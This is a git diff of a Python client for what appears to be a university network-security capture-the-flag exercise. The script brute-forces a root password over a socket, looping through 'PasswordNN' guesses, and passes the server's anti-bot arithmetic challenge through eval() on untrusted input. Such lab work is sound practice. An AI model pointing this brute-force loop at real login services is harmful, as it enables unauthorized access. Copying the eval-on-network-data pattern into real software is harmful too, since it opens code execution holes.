solved

week02/hard/client.py

@@ -4,27 +4,10 @@ import time
 HOST = 'netsec.net.in.tum.de'  # TODO
 PORT = 64984  # TODO
 
-
-
-def get_flag2():
-    credentials  = "root,Passwordr00"
-    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-    s.connect((HOST, PORT))
-    sf = s.makefile('rw')  # we use a file abstraction for the sockets
-    print(sf.readline().rstrip('\n'))
-    sf.write("{}\n".format(credentials))
-    sf.flush()
-    data  = sf.readline().rstrip('\n')
-    resp = eval(data)
-    sf.write("{}\n".format(resp))
-    sf.flush()
-    print(sf.readline().rstrip('\n'))
-    print(sf.readline().rstrip('\n'))
-
 def get_flag():
     for i in range(100):
         time.sleep(2)
-        credentials  = "root,Passwordr"+str("%02d" % i)
+        credentials  = "root,Password"+str("%02d" % i)
         print(credentials)
         try:
             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
@@ -37,57 +20,13 @@ def get_flag():
             resp = eval(data)
             sf.write("{}\n".format(resp))
             sf.flush()
-            print(sf.readline().rstrip('\n'))
-            print(sf.readline().rstrip('\n'))
+            result = sf.readline().rstrip('\n')
+            if "login" in result:
+                print(sf.readline().rstrip('\n'))
+                break
         except:
             pass
             
 
-
-# def ans():
-#     for i in range(100):
-#         credentials = 'root'+','+'Password'+str("%02d" % i)
-#         print(credentials)
-#         try:
-#             s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-
-#             s.connect((HOST, PORT))
-#             sf = s.makefile("rw")  # we use a file abstraction for the sockets
-
-#             sf.write("{}\n".format(credentials))
-#             sf.flush()
-
-#             challenge = sf.readline().rstrip('\n')
-
-#             print("Solve the following equation to prove you are human: ", challenge)
-
-#             inToPosEx = infix_to_postfix(challenge)
-#             value = postfixEval(inToPosEx)
-
-#             print('VALUE = ',value)
-#             sf.write("{}\n".format(str(value)))
-#             sf.flush()
-
-#             data = sf.readline().rstrip('\n')
-#             print("From Server: `{}'".format(data))
-
-#             data = sf.readline().rstrip('\n')
-#             print("From Server: received {} bytes".format(len(data)))
-
-#             data = b64decode(data.encode())
-
-#             pdf_hdr = b'%PDF-1.5'
-
-#             if len(data) >= len(pdf_hdr) and data[:len(pdf_hdr)] == pdf_hdr:
-#                 print("Looks like we got a PDF!")
-#                 # TODO write the received data to a file
-#                 f = open('a.pdf','wb')
-#                 f.write(data)
-#                 f.close()
-#             sf.close()
-#             s.close()
-#         except:
-            pass
-
 if __name__ == '__main__':
     get_flag()